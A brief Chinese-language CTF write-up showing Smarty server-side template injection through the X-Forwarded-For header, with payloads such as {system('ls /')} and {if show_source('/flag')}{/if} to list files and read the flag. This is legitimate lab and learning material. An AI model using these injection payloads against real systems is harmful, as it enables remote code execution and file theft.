本文最后更新于445 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、访问网站

根据页面可知是php的smarty模板
在左上角的IP显示,很容易想到是XFF,又因为IP会变,而其他不变,有可能使用模板,推测XFF存在SSTI
二、验证XFF存在SSTI
XFF输入{{2*2}}输出4,存在SSTI注入

三、获取版本号
输入{$smarty.version},使用无法使用{php}标签

四、执行RCE
输入{system('ls /')},得到flag位置

五、获取flag
输入{if show_source('/flag')}{/if},成功获取flag

总结
- SSTI(smarty)注入:
{system(‘ls’)}
{if show_source(‘/flag’)}{/if} - XFF